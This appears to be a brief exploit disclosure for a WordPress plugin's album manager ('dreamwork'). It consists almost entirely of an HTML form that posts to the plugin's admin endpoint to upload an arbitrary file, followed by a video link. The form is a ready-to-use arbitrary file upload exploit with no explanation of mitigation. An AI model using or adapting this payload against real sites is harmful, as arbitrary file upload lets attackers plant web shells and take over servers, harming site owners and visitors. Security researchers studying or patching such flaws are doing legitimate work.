Exploit :
<html>
<body>
<form action="http://www.site.com/wp-admin/admin.php?page=dreamwork_manage" method="POST" enctype="multipart/form-data">
<input type="hidden" name="task" value="drm_add_new_album" />
<input type="hidden" name="album_name" value="Arbitrary File Upload" />
<input type="hidden" name="album_desc" value="Arbitrary File Upload" />
<input type="file" name="album_img" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
Video :
https://youtu.be/irZFw45-O_s